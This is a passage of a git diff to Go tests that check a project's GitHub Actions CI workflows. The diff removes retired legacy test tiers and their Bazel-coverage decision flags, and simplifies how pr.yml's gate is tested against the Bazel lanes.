+141,30 @@ exit "$rc"`, }, } -// prLanesTier: retiredTiers' pr.yml entry. -func prLanesTier(t *testing.T) retiredTier { - t.Helper() - for _, r := range retiredTiers { - if r.workflow == "pr.yml" { - return r - } - } - t.Fatal("retiredTiers has no pr.yml tier") - return retiredTier{} -} - -// prLegacyJobResult: a non-Bazel pr.yml need's result in a gate scenario, -// as the jobs' if: produce it (sc.results overrides): a retired job skips -// where its tier is covered (GitHub's == is case-insensitive) or the -// decision failed; a package gate skips where the decision failed. +// prLegacyJobResult: a non-Bazel pr.yml need's result in a gate scenario: +// success unless sc.results overrides it. (package-mcp/package-npm are +// bazel.yml call outputs, simulated through sc.outputs.) func prLegacyJobResult(job string, sc bazelGateScenario) string { if r, ok := sc.results[job]; ok { return r } - decided := sc.coverage == "" || sc.coverage == "success" - for _, r := range retiredTiers { - if _, ok := r.jobs[job]; ok && r.workflow == "pr.yml" && (!decided || strings.EqualFold(sc.covered[r.output], "true")) { - return "skipped" - } - } - // F3: package-mcp/package-npm are bazel.yml call outputs now - // (needs.bazel.outputs.package-mcp), not pr.yml job results, so - // runPRGateStep never calls this helper for them - they are simulated - // through sc.outputs instead (see the scenario loop below). return "success" } -// The retired jobs' wiring, the artifact consumers, and pr.yml's actual -// gate step over the covered and uncovered cases. -func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { +// pr.yml's non-Bazel jobs and artifacts around the lanes: nothing needs or +// downloads the retired build-artifacts job's artifact, the package gates +// are pinned, Bazel publishes bd under the name pr.yml passes, and a failed +// package gate or preflight leg reds pr.yml's actual gate step. +func TestPRGateNonBazelNeeds(t *testing.T) { requireHostTool(t, "bash") pr := readCIWorkflow(t, "pr.yml") - tier := prLanesTier(t) - gate := pr.job(t, "ci-gate") - gateStep := gate.step(t, "Evaluate CI gate") + gateStep := pr.job(t, "ci-gate").step(t, "Evaluate CI gate") required := strings.Fields(gateStep.Env["CI_GATE_REQUIRED"]) - var names []string - for name := range tier.jobs { - names = append(names, name) - } - sort.Strings(names) - if !reflect.DeepEqual(names, sortedKeys(prLaneLegacyNeeds)) { - t.Fatalf("pr.yml tier jobs %v, want %v", names, sortedKeys(prLaneLegacyNeeds)) - } - for name, id := range tier.jobs { - job := pr.job(t, name) - if job.If != prLaneLegacyIf || !reflect.DeepEqual([]string(job.Needs), prLaneLegacyNeeds[name]) || job.ContinueOnError { - t.Errorf("%s: if %q, needs %v, continue-on-error %v; want if %q, needs %v", name, job.If, job.Needs, job.ContinueOnError, prLaneLegacyIf, prLaneLegacyNeeds[name]) - } - // Still required: it runs wherever the Bazel lanes do not cover it. - if !contains(required, id) || !contains(gate.Needs, name) || gateStep.Env[id] != "${{ needs."+name+".result }}" { - t.Errorf("ci-gate does not require %s's result as %s", name, id) - } - } - // The lanes that replace them run in this workflow's bazel call. - if !reflect.DeepEqual(tier.bazelLanes, []string{bazelJobName, bazelPureJobName, bazelDoltJobName}) { - t.Errorf("pr.yml tier lanes = %v", tier.bazelLanes) - } - - // Only the retired jobs and the gate read the decision; only they and - // the gate need build-artifacts. The package gates moved into bazel.yml - // (F3) and never depend on this decision or on build-artifacts at all - - // they build bd for themselves, via Bazel or a go build fallback - // (TestPackageGateJobs). for name, job := range pr.Jobs { - _, retired := tier.jobs[name] - if retired || name == "ci-gate" || name == prRiskCoverageJobName { - continue - } - if strings.Contains(job.If, prRiskCoverageJobName) || contains(job.Needs, prRiskCoverageJobName) { - t.Errorf("%s depends on %s; only the retired jobs may", name, prRiskCoverageJobName) - } if contains(job.Needs, "build-artifacts") { - t.Errorf("%s needs build-artifacts, which stands down on covered PRs", name) + t.Errorf("%s needs the retired build-artifacts job", name) } - } - - // Artifact consumers: only the retired jobs read build-artifacts' - // artifact (they only run where it does). Nothing downloads by pattern - // or without a name. - for name, job := range pr.Jobs { for _, step := range job.Steps { if !strings.HasPrefix(step.Uses, "actions/download-artifact@") { continue @@ -252,23 +172,15 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { art := step.With["name"] if art == "" || step.With["pattern"] != "" { t.Errorf("%s downloads an artifact by pattern or without a name: %v", name, step.With) - continue } - if !strings.Contains(art, "ci-build-artifacts") { - continue - } - if _, retired := tier.jobs[name]; !retired || art != "ci-build-artifacts" { - t.Errorf("%s downloads %q; only the retired jobs (ci-build-artifacts) may", name, art) - } - if step.With["path"] != "ci-build-artifacts" { - t.Errorf("%s downloads into %q, want ci-build-artifacts (the layout its steps read)", name, step.With["path"]) + if strings.Contains(art, "ci-build-artifacts") { + t.Errorf("%s downloads %q; nothing in pr.yml consumes the bd artifact", name, art) } } } testPackageGateJobs(t, required) // Bazel's artifact: bazel-test publishes it (always, after its tests) - // under the name pr.yml passes, with build-artifacts' layout - // (TestBazelWorkflowPublishesBuildArtifacts). + // under the name pr.yml passes (TestBazelWorkflowPublishesBuildArtifacts). if pr.job(t, "bazel").With["build-artifact-name"] != "bazel-ci-build-artifacts" { t.Errorf("pr.yml's bazel call no longer names its artifact bazel-ci-build-artifacts") } @@ -278,116 +190,28 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { t.Errorf("bazel-test packages bd with %q (continue-on-error %v)", pkgStep.Run, pkgStep.ContinueOnError) } - // The gate. Other tiers not covered, so only this step's rules apply. - cov := func(v string) map[string]string { - c := coveredAll("false") - c[tier.output] = v - return c - } lanes := bazelPRCallLanes(t, pr.job(t, "bazel").With) - type scenario struct { - name string - sc bazelGateScenario - pass bool - mention string + if pass, out := runPRGateStep(t, gateStep, prGateFor(t, lanes, "pull_request", "remote")); !pass { + t.Errorf("remote, every lane and job passed: gate red\n%s", out) } - var scenarios []scenario - add := func(name string, sc bazelGateScenario, pass bool, mention string) { - scenarios = append(scenarios, scenario{name, sc, pass, mention}) - } - add("covered, remote, lanes passed, legacy skipped", prGateFor(t, lanes, "pull_request", "remote", cov("true")), true, "") - add("not covered, remote, legacy ran", prGateFor(t, lanes, "pull_request", "remote", cov("false")), true, "") - add("merge_group, not covered, remote", prGateFor(t, lanes, "merge_group", "remote", cov("false")), true, "") - // The merge queue retires the legacy jobs like a same-repo PR - // (bazel-coverage covers every merge group): green with the lanes run - // remotely, red when a lane failed or the run was not remote. - add("merge_group, covered, remote, lanes passed, legacy skipped", prGateFor(t, lanes, "merge_group", "remote", cov("true")), true, "") - for _, lane := range tier.bazelLanes { - sc := prGateFor(t, lanes, "merge_group", "remote", cov("true")) - sc.outputs[lane] = "failure" - add("merge_group, covered, "+lane+" failed", sc, false, tier.retiredID) - } - for _, mode := range []string{"skip", "cache"} { - sc := prGateFor(t, lanes, "merge_group", mode, cov("true")) - for _, lane := range tier.bazelLanes { - sc.outputs[lane] = "success" - } - add("merge_group, covered, mode "+mode+", lanes reported success", sc, false, tier.retiredID) - } - // rbe-fork: a covered fork or Dependabot PR (BAZEL_COVERS_FORKS) whose - // lanes ran remotely with a mint certificate. - for _, mode := range []string{"fork-ro", "fork-rw"} { - add("covered, mode "+mode+", lanes passed, legacy skipped", prGateFor(t, lanes, "pull_request", mode, cov("true")), true, "") - add("not covered, mode "+mode+", legacy ran", prGateFor(t, lanes, "pull_request", mode, cov("false")), true, "") - } - for _, mode := range []string{"local", "cache"} { - add("not covered, mode "+mode+", legacy ran", prGateFor(t, lanes, "pull_request", mode, cov("false")), true, "") - } - for job, id := range tier.jobs { - // Covered, but the job ran anyway and failed: red. - sc := prGateFor(t, lanes, "pull_request", "remote", cov("true")) - sc.results = map[string]string{job: "failure"} - add("covered, "+job+" ran and failed", sc, false, id) - // Not exactly covered: its skip is not excused. - for _, c := range []string{"false", "", "TRUE ", "yes", "1", "True\n"} { - sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) - sc.results = map[string]string{job: "skipped"} - add(fmt.Sprintf("covered=%q, %s skipped", c, job), sc, false, id) - } - } - for _, lane := range tier.bazelLanes { - for _, res := range []string{"failure", "cancelled", "skipped", ""} { - sc := prGateFor(t, lanes, "pull_request", "remote", cov("true")) - sc.outputs[lane] = res - add(fmt.Sprintf("covered, %s %q", lane, res), sc, false, tier.retiredID) - } - } - for _, mode := range []string{"skip", "local", "cache"} { - sc := prGateFor(t, lanes, "pull_request", mode, cov("true")) - for _, lane := range tier.bazelLanes { - sc.outputs[lane] = "success" - } - add("covered, mode "+mode+", lanes reported success", sc, false, tier.retiredID) - } - for _, c := range []string{"true", "false"} { - for _, res := range []string{"skipped", "failure", "cancelled"} { - for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms"} { - sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) - // F3: package-mcp/package-npm are bazel.yml call outputs - // (needs.bazel.outputs.package-mcp), not pr.yml job - // results, so the gate simulation overrides sc.outputs for - // them instead of sc.results. - if _, pkg := prPackageGateIDs[job]; pkg { - sc.outputs[job] = res - } else { - sc.results = map[string]string{job: res} - } - id := map[string]string{"pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS"}[job] - if id == "" { - id = prPackageGateIDs[job] - } - add(fmt.Sprintf("covered=%s, %s %s", c, job, res), sc, false, id) + for _, res := range []string{"skipped", "failure", "cancelled"} { + for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms"} { + sc := prGateFor(t, lanes, "pull_request", "remote") + // F3: package-mcp/package-npm are bazel.yml call outputs + // (needs.bazel.outputs.package-mcp), not pr.yml job results. + id := prPackageGateIDs[job] + if id != "" { + sc.outputs[job] = res + } else { + id = "PR_PREFLIGHT_PLATFORMS" + sc.results = map[string]string{job: res} + } + pass, out := runPRGateStep(t, gateStep, sc) + if pass || !regexp.MustCompile(`::error::`+regexp.QuoteMeta(id)+`\b`).MatchString(out) { + t.Errorf("%s %s: gate pass = %v, want red naming %s\n%s", job, res, pass, id, out) } } } - // A failed decision: the retired jobs skip through needs (the package - // gates do not depend on the decision at all, F3), and the gate is red. - for _, res := range []string{"failure", "cancelled", "skipped"} { - sc := prGateFor(t, lanes, "pull_request", "remote", cov("")) - sc.coverage = res - add("decision "+res, sc, false, prRiskCoverageGateID) - } - for _, s := range scenarios { - t.Run(s.name, func(t *testing.T) { - pass, out := runPRGateStep(t, gateStep, s.sc) - if pass != s.pass { - t.Errorf("gate pass = %v, want %v\n%s", pass, s.pass, out) - } - if !s.pass && s.mention != "" && !regexp.MustCompile(`::error::`+regexp.QuoteMeta(s.mention)+`\b`).MatchString(out) { - t.Errorf("red gate does not name %s:\n%s", s.mention, out) - } - }) - } } func sortedKeys[V any](m map[string]V) []string { @@ -400,15 +224,13 @@ func sortedKeys[V any](m map[string]V) []string { } // F3: the package gates (bazel.yml's package-mcp, package-npm). They depend -// only on the caller turning package-gates on (never on bazel-coverage or -// build-artifacts: TestPRLegacyLanesDeferToBazelLanes already checked that -// nothing but the retired jobs reads either), build bd for themselves - via +// only on the caller turning package-gates on, build bd for themselves - via // the Bazel lane's binary when the farm is up, a go build fallback // otherwise (package-mcp.sh/package-npm.sh's prepare_bd_binary) - and are // structurally identical apart from their language setup and `make` target. // Their runs-on/if/needs/result-recorder are already pinned for every // bazel.yml job by TestBazelWorkflowJobsAndExecutionMode and -// TestBazelLaneIsGatedAlongsideLegacy; this test pins the step-by-step +// TestBazelLaneIsGated; this test pins the step-by-step // detail those generic checks do not. func testPackageGateJobs(t *testing.T, prGateRequired []string) { t.Helper() diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index bde3778fe..7fa7d9b37 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -12,171 +12,43 @@ import ( "strings" "sync" "testing" - - "gopkg.in/yaml.v3" ) -// D2: PR Risk's legacy tiers stand down on the PRs where pr.yml's gated -// Bazel lanes for them (bazel.yml, remote mode only) are the tier's run, and -// nowhere else. Step 1 retired the embedded-Dolt test jobs (Bazel -// bazel-embedded), step 2 the proxied-server and server-Dolt storage test -// jobs (bazel-proxied, bazel-server-storage) and, where both are retired, -// build-embedded, whose artifact only they consume. Both workflows run the -// same bazel-coverage job, which reads one committed flag per step -// (BAZEL_RETIRES_LEGACY_*), never the mutable RBE_WEST_WORKERS variable. -// PR Risk's gate accepts the legacy skips only when that job says covered; -// pr.yml's gate then requires the tier's Bazel lanes to have run remotely -// and passed, so no re-run of either workflow, with the variable flipped -// either way, can leave both gates green and a tier unrun. +// ga-96smfk.22: the Linux Go test tiers run only as pr.yml's Bazel lanes +// (bazel.yml). PR Risk's legacy embedded, proxied and server-Dolt jobs and +// pr.yml's PR Core, build-artifacts and pure-Go/js-wasm jobs are gone, with +// the bazel-coverage decision and the BAZEL_RETIRES_LEGACY_* / +// BAZEL_COVERS_FORKS flags that chose between them and the lanes. So on +// every pull_request and merge group pr.yml's gate requires the lanes to +// have run remotely on rbe-west (BAZEL_REMOTE) and passed: no execution mode +// can leave the gate green with a tier unrun. const ( prRiskWorkflowName = "pr-risk.yml" - prRiskCoverageJobName = "bazel-coverage" prRiskPullRequestValue = "${{ github.event_name == 'pull_request' }}" - // A merge group (merge queue) is covered like a same-repo PR: it runs - // on this repository's gh-readonly-queue/* branch with the CI secrets - // and its actor is github-merge-queue[bot]. - prRiskMergeGroupValue = "${{ github.event_name == 'merge_group' }}" - // pr-risk.yml's and pr.yml's gate id for the decision job's result. - prRiskCoverageGateID = "BAZEL_COVERAGE" - // build-embedded's artifact (embedded-test-binaries) feeds exactly the - // legacy test jobs of both retired tiers. - prRiskBuildEmbeddedJob = "build-embedded" - prRiskBuildEmbeddedID = "BUILD_EMBEDDED" + // The decision's Dependabot test: Dependabot runs get no Actions + // secrets, so bazel.yml's rbe job sends them to rbe-fork like forks. + prRiskDependabotValue = "${{ github.actor == 'dependabot[bot]' }}" + // pr.yml's gate id for "the Bazel lanes ran remotely". + bazelRemoteGateID = "BAZEL_REMOTE" ) -// retiredTier: one D2 step's legacy tier, the committed flag that retires -// it, the decision job's output for it, and the Bazel lanes that replace it. -type retiredTier struct { - workflow string // the workflow whose legacy jobs stand down - output string // bazel-coverage's output - flag string // the committed workflow env flag - envKey string // the decision step's env key reading flag - coversEnv string // both gates' env key reading output - retiredID string // pr.yml's gate id: the lanes ran remotely and passed - jobs map[string]string // legacy job -> its workflow's gate id - bazelLanes []string // bazel.yml jobs -} - -var retiredTiers = []retiredTier{ - { - workflow: prRiskWorkflowName, output: "embedded", flag: "BAZEL_RETIRES_LEGACY_EMBEDDED", envKey: "RETIRED_EMBEDDED", - coversEnv: "BAZEL_COVERS_EMBEDDED", retiredID: "BAZEL_EMBEDDED_RETIRED", - jobs: map[string]string{ - "test-embedded-storage": "TEST_EMBEDDED_STORAGE", - "test-embedded-conformance": "TEST_EMBEDDED_CONFORMANCE", - "test-embedded-cmd": "TEST_EMBEDDED_CMD", - }, - bazelLanes: []string{bazelEmbedJobName}, - }, - { - workflow: prRiskWorkflowName, output: "dolt_server", flag: "BAZEL_RETIRES_LEGACY_DOLT_SERVER_TIERS", envKey: "RETIRED_DOLT_SERVER", - coversEnv: "BAZEL_COVERS_DOLT_SERVER", retiredID: "BAZEL_DOLT_SERVER_RETIRED", - jobs: map[string]string{ - "test-proxied-cmd": "TEST_PROXIED_CMD", - "test-server-storage": "TEST_SERVER_STORAGE", - "test-server-storage-full": "TEST_SERVER_STORAGE_FULL", - }, - bazelLanes: []string{bazelProxiedJobName, bazelServerJobName}, - }, - // Step 3: pr.yml's own legacy jobs, whose Bazel lanes run in the same - // pr.yml run (scripts/pr_lanes_bazel_coverage_test.go). - { - workflow: "pr.yml", output: "pr_lanes", flag: "BAZEL_RETIRES_LEGACY_PR_LANES", envKey: "RETIRED_PR_LANES", - coversEnv: "BAZEL_COVERS_PR_LANES", retiredID: "BAZEL_PR_LANES_RETIRED", - jobs: map[string]string{ - "build-artifacts": "BUILD_ARTIFACTS", - "pr-core-wrapper": "PR_CORE_WRAPPER", - "check-cmd-bd-puregeo-tests": "CHECK_CMD_BD_PUREGEO_TESTS", - }, - bazelLanes: []string{bazelJobName, bazelPureJobName, bazelDoltJobName}, - }, -} - -// riskTiers: the tiers whose legacy jobs are pr-risk.yml's. -func riskTiers() []retiredTier { - var out []retiredTier - for _, r := range retiredTiers { - if r.workflow == prRiskWorkflowName { - out = append(out, r) - } - } - return out -} - -func (r retiredTier) retiredValue() string { return "${{ env." + r.flag + " == 'true' }}" } - -// The legacy test jobs' if: the existing risk tier, and not covered. -func (r retiredTier) legacyIf() string { - return "needs.detect-ci-tier.outputs.full_embedded == 'true' && needs." + prRiskCoverageJobName + ".outputs." + r.output + " != 'true'" -} - -// build-embedded's if: the risk tier, and some consumer not covered. -var prRiskBuildEmbeddedIf = "needs.detect-ci-tier.outputs.full_embedded == 'true' && (needs." + prRiskCoverageJobName + ".outputs.embedded != 'true' || needs." + - prRiskCoverageJobName + ".outputs.dolt_server != 'true')" - -// retiredJobs: every retired pr-risk.yml legacy test job -> its tier. -func retiredJobs() map[string]retiredTier { - out := map[string]retiredTier{} - for _, r := range riskTiers() { - for job := range r.jobs { - out[job] = r - } - } - return out -} - -// The bazel.yml rbe step env keys the decision copies verbatim. -var prRiskSharedDecisionEnv = []string{"FORK"} - -// The decision's Dependabot test: Dependabot runs get no Actions secrets, so -// they are covered (like fork PRs) only while BAZEL_COVERS_FORKS is "true". -const prRiskDependabotValue = "${{ github.actor == 'dependabot[bot]' }}" - -// The committed flag that covers fork and Dependabot PRs too (rbe-fork), and -// its expression in both decision steps. -const ( - prCoversForksFlag = "BAZEL_COVERS_FORKS" - prCoversForksValue = "${{ env." + prCoversForksFlag + " == 'true' }}" -) - -// rbeFacts: what GitHub evaluates the decision steps' env expressions on. +// rbeFacts: what GitHub evaluates bazel.yml's rbe step's env expressions on. type rbeFacts struct { event string // github.event_name rbeVar string // vars.RBE_WEST_WORKERS ("" = unset) secret string // secrets.RBE_WEST_EXECUTOR ("" = unavailable: fork, Dependabot, unset) fork bool // github.event.pull_request.head.repo.fork - // The committed env.BAZEL_RETIRES_LEGACY_* flags, in retiredTiers order. - retired [3]string // github.actor is dependabot[bot] (fixed for a PR's runs and re-runs). dependabot bool - // The committed env.BAZEL_COVERS_FORKS. - coversForks string // What rbe-fork-mint's /v1/status answers this run (bazelTestMintEnv; // "" = unreachable). Only fork and Dependabot pull_request runs ask. mint string } func (f rbeFacts) String() string { - return fmt.Sprintf("event=%s var=%q secret=%v fork=%v retired=%q dependabot=%v covers-forks=%q mint=%q", - f.event, f.rbeVar, f.secret != "", f.fork, f.retired, f.dependabot, f.coversForks, f.mint) -} - -// covers: whether a run with tier i's flag set is covered, the decision -// both workflows must take for tier i: every merge group (the queue's -// branch is this repository's, with the CI secrets; bazel.yml's rbe job -// never treats it as a fork); same-repo, non-Dependabot PRs always; fork -// and Dependabot PRs while BAZEL_COVERS_FORKS is "true". Never what the -// mint says: a covered fork run it does not serve is red. -func (f rbeFacts) covers(i int) bool { - if !strings.EqualFold(f.retired[i], "true") { - return false - } - if f.event == "merge_group" { - return true - } - return f.event == "pull_request" && - (!f.fork && !f.dependabot || strings.EqualFold(f.coversForks, "true")) + return fmt.Sprintf("event=%s var=%q secret=%v fork=%v dependabot=%v mint=%q", + f.event, f.rbeVar, f.secret != "", f.fork, f.dependabot, f.mint) } // forkPR: a run that asks rbe-fork-mint (bazel.yml's rbe job). @@ -186,49 +58,30 @@ func (f rbeFacts) forkPR() bool { return f.event == "pull_request" && (f.fork || var rbeMintAnswers = []string{"", "closed", "ro", "rw"} var ( - rbeEvents = []string{"pull_request", "merge_group", "push", "workflow_dispatch", "pull_request_target"} - rbeVarValues = []string{"", "true", "True", "TRUE", "false", "1", "yes"} - rbeSecrets = []string{"", "grpcs://rbe.example:443"} - // Every flag on, each alone, all off, and the case-insensitive and - // non-boolean spellings of each. - retiredValues = [][3]string{ - {"true", "true", "true"}, {"true", "false", "false"}, {"false", "true", "false"}, {"false", "false", "true"}, - {"false", "false", "false"}, {"True", "", ""}, {"", "TRUE", ""}, {"", "yes", "True"}, - } + // The events pr.yml's gate runs on. + rbeGateEvents = []string{"pull_request", "merge_group"} + rbeVarValues = []string{"", "true", "True", "TRUE", "false", "1", "yes"} + rbeSecrets = []string{"", "grpcs://rbe.example:443"} ) -// rbeFactsMatrix: every combination of the facts the decisions read. -// BAZEL_COVERS_FORKS takes both values (and other spellings) where it can -// matter, fork and Dependabot facts, and "true" elsewhere only with every -// tier retired (to show it changes nothing there); the mint answers only -// matter to forkPR facts. -func rbeFactsMatrix() []rbeFacts { +// rbeGateFactsMatrix: every combination of the facts bazel.yml's rbe step +// reads, for the events pr.yml's gate runs on; the mint answers only matter +// to forkPR facts. +func rbeGateFactsMatrix() []rbeFacts { var out []rbeFacts - allRetired := [3]string{"true", "true", "true"} - for _, event := range rbeEvents { + for _, event := range rbeGateEvents { for _, v := range rbeVarValues { for _, secret := range rbeSecrets { for _, fork := range []bool{false, true} { - for _, retired := range retiredValues { - for _, dependabot := range []bool{false, true} { - covers := []string{"false"} - switch { - case (fork || dependabot) && retired == allRetired: - covers = []string{"false", "true", "True", "", "yes"} - case fork || dependabot, retired == allRetired: - covers = []string{"false", "true"} - } - for _, c := range covers { - f := rbeFacts{event, v, secret, fork, retired, dependabot, c, ""} - if !f.forkPR() { - out = append(out, f) - continue - } - for _, m := range rbeMintAnswers { - f.mint = m - out = append(out, f) - } - } + for _, dependabot := range []bool{false, true} { + f := rbeFacts{event, v, secret, fork, dependabot, ""} + if !f.forkPR() { + out = append(out, f) + continue + } + for _, m := range rbeMintAnswers { + f.mint = m + out = append(out, f) } } } @@ -251,17 +104,7 @@ func evalRBEExpr(t *testing.T, expr string, f rbeFacts, with map[string]string) } return def } - if len(retiredTiers) != len(f.retired) { - t.Fatalf("rbeFacts.retired has %d flags, retiredTiers %d", len(f.retired), len(retiredTiers)) - } - for i, r := range retiredTiers { - if expr == r.retiredValue() { - return strconv.FormatBool(strings.EqualFold(f.retired[i], "true")) - } - } switch expr { - case prCoversForksValue: - return strconv.FormatBool(strings.EqualFold(f.coversForks, "true")) case "${{ github.event.pull_request.number }}": if f.event == "pull_request" || f.event == "pull_request_target" { return "7123" @@ -269,8 +112,6 @@ func evalRBEExpr(t *testing.T, expr string, f rbeFacts, with map[string]string) return "" case prRiskPullRequestValue: return strconv.FormatBool(f.event == "pull_request") - case prRiskMergeGroupValue: - return strconv.FormatBool(f.event == "merge_group") case prRiskDependabotValue: return strconv.FormatBool(f.dependabot) case "${{ vars.RBE_WEST_WORKERS == 'true' }}": @@ -302,146 +143,9 @@ func runDecisionStep(t *testing.T, step ciWorkflowStep, f rbeFacts, with map[str return runBazelRBEDecision(t, step.Run, env) } -func coverageStep(t *testing.T, workflow string) ciWorkflowStep { - t.Helper() - job := readCIWorkflow(t, workflow).job(t, prRiskCoverageJobName) - if len(job.Steps) != 1 { - t.Fatalf("%s %s has %d steps, want exactly the decision step", workflow, prRiskCoverageJobName, len(job.Steps)) - } - return job.Steps[0] -} - -func prRiskCoverageStep(t *testing.T) ciWorkflowStep { return coverageStep(t, prRiskWorkflowName) } - -// workflowEnv: a workflow's top-level env. -func workflowEnv(t *testing.T, name string) map[string]string { - t.Helper() - var doc struct { - Env map[string]string `yaml:"env"` - } - if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+name)), &doc); err != nil { - t.Fatal(err) - } - return doc.Env -} - -// The decision job reads the committed flags, the event, the actor and, -// through bazel.yml's rbe job's own expression, the fork flag: nothing a -// re-run can change, so never RBE_WEST_WORKERS, any other variable or any -// secret, and it runs no repository code. pr.yml runs the identical job, and -// both workflows commit the same flags. Nothing else in pr-risk.yml reads the -// facts, and nothing in it reads a secret. -func TestPRRiskBazelCoverageJob(t *testing.T) { - risk := readCIWorkflow(t, prRiskWorkflowName) - job := risk.job(t, prRiskCoverageJobName) - // F3: this job moved to Blacksmith for same-repo PRs (and merge_group); - // forks and Dependabot stay on ubuntu-latest (TestSameRepoBlacksmithRunners - // pins the same literal for pr.yml's copy). - if len(job.Needs) != 0 || job.If != "" || job.RunsOn != sameRepoBlacksmith2vcpu || len(job.Env) != 0 || job.ContinueOnError || job.TimeoutMinutes == 0 { - t.Errorf("%s: needs %v, if %q, runs-on %q, env %v, continue-on-error %v, timeout %d; want no needs, if, env or continue-on-error, on %q, a timeout", - prRiskCoverageJobName, job.Needs, job.If, job.RunsOn, job.Env, job.ContinueOnError, job.TimeoutMinutes, sameRepoBlacksmith2vcpu) - } - wantOutputs := map[string]string{} - wantEnv := map[string]string{"PULL_REQUEST": prRiskPullRequestValue, "MERGE_GROUP": prRiskMergeGroupValue, "DEPENDABOT": prRiskDependabotValue, "COVERS_FORKS": prCoversForksValue} - for _, r := range retiredTiers { - wantOutputs[r.output] = "${{ steps.decide.outputs." + r.output + " }}" - wantEnv[r.envKey] = r.retiredValue() - } - if !reflect.DeepEqual(job.Outputs, wantOutputs) { - t.Errorf("%s outputs = %v, want %v", prRiskCoverageJobName, job.Outputs, wantOutputs) - } - if prJob := readCIWorkflow(t, "pr.yml").job(t, prRiskCoverageJobName); !reflect.DeepEqual(prJob, job) { - t.Errorf("pr.yml's %s differs from pr-risk.yml's:\n%+v\n%+v", prRiskCoverageJobName, prJob, job) - } - riskEnv, prEnv := workflowEnv(t, prRiskWorkflowName), workflowEnv(t, "pr.yml") - committed := []string{prCoversForksFlag} - for _, r := range retiredTiers { - committed = append(committed, r.flag) - } - for _, flag := range committed { - if riskFlag, prFlag := riskEnv[flag], prEnv[flag]; riskFlag != prFlag || (riskFlag != "true" && riskFlag != "false") { - t.Errorf("%s: pr-risk.yml %q, pr.yml %q; want the same literal \"true\" or \"false\" in both", flag, riskFlag, prFlag) - } - } - step := prRiskCoverageStep(t) - rbeStep := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName).Steps[0] - for _, k := range prRiskSharedDecisionEnv { - wantEnv[k] = rbeStep.Env[k] - } - if step.ID != "decide" || step.Uses != "" || step.Shell != "" || len(step.With) != 0 || step.If != "" || step.ContinueOnError != nil || !reflect.DeepEqual(step.Env, wantEnv) { - t.Errorf("%s step: id %q, uses %q, shell %q, with %v, if %q, env %v; want id decide, a plain run step with env %v", - prRiskCoverageJobName, step.ID, step.Uses, step.Shell, step.With, step.If, step.Env, wantEnv) - } - if strings.Contains(step.Run, "${{") || regexp.MustCompile(`\.github/|\./|source |\bbash\b|RBE_WEST_WORKERS|RBE_VAR|EXECUTOR`).MatchString(step.Run) { - t.Errorf("%s step runs repository code, interpolates expressions or reads the RBE variable or secret:\n%s", prRiskCoverageJobName, step.Run) - } - for k, v := range step.Env { - if regexp.MustCompile(`\b(secrets|vars)\s*(\.|\[)`).MatchString(v) { - t.Errorf("%s step env %s = %q reads a secret or variable; a re-run could change it", prRiskCoverageJobName, k, v) - } - } - - // Only the decision step reads the facts; nothing reads a secret or a - // repository variable; only the workflow env sets a flag. - stepEnv := ".jobs." + prRiskCoverageJobName + ".steps[0].env." - secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) - flags := map[string]bool{prCoversForksFlag: true} - flagAlt := []string{prCoversForksFlag} - for _, r := range retiredTiers { - flags[r.flag] = true - flagAlt = append(flagAlt, r.flag) - } - facts := regexp.MustCompile(`(?i)RBE_WEST_WORKERS|\bvars\s*(\.|\[)|head\.repo\.fork|RBE_WEST_EXECUTOR|github\.actor|dependabot|BAZEL_RETIRES_|` + strings.Join(flagAlt, "|")) - walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", prRiskWorkflowName)), "", func(path string, key bool, value string) { - if key { - if flags[value] && path != ".env."+value { - t.Errorf("%s: %s sets %s; only the workflow env may", prRiskWorkflowName, path, value) - } - return - } - if secretRef.MatchString(value) { - t.Errorf("%s: %s reads secrets (%q); PR Risk needs none", prRiskWorkflowName, path, value) - } - // F3: detect-ci-tier/bazel-coverage/ci-gate's own runs-on picks a - // runner venue (Blacksmith vs ubuntu-latest) for trusted same-repo - // PRs; it shares some predicates (github.actor, dependabot, - // head.repo.full_name) with the coverage decision but decides - // something else entirely - not a re-derivation of the decision - // (TestSameRepoBlacksmithRunners pins the literal). - if strings.HasSuffix(path, ".runs-on") && (value == sameRepoBlacksmith2vcpu || value == sameRepoBlacksmith4vcpu || value == sameRepoBlacksmith8vcpu) { - return - } - if facts.MatchString(value) && !strings.HasPrefix(path, stepEnv) && !strings.HasPrefix(path, ".jobs."+prRiskCoverageJobName+".steps[0].run") { - t.Errorf("%s: %s re-derives the Bazel coverage decision (%q); read needs.%s.outputs", prRiskWorkflowName, path, value, prRiskCoverageJobName) - } - }) - // In pr.yml too, only the workflow env sets a flag and only the - // decision step reads one (ci-gate names them in its messages). - walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", "pr.yml")), "", func(path string, key bool, value string) { - if key { - if flags[value] && path != ".env."+value { - t.Errorf("pr.yml: %s sets %s; only the workflow env may", path, value) - } - return - } - if regexp.MustCompile(`env\.BAZEL_(RETIRES_|COVERS_FORKS\b)`).MatchString(value) && !strings.HasPrefix(path, stepEnv) { - t.Errorf("pr.yml: %s reads a BAZEL_RETIRES_* or BAZEL_COVERS_FORKS flag (%q); read needs.%s.outputs", path, value, prRiskCoverageJobName) - } - }) - // Every BAZEL_RETIRES_* flag either workflow commits is one of retiredTiers. - for name, env := range map[string]map[string]string{prRiskWorkflowName: riskEnv, "pr.yml": prEnv} { - for k := range env { - if strings.HasPrefix(k, "BAZEL_RETIRES_") && !flags[k] { - t.Errorf("%s commits %s, which no retiredTiers entry covers", name, k) - } - } - } -} - // prGateFor: pr.yml's ci-gate scenario for one run whose Bazel call took -// this mode with every lane that runs in it passing, and whose bazel-coverage -// job reported these outputs. -func prGateFor(t *testing.T, lanes map[string]map[string]bool, event, mode string, covered map[string]string) 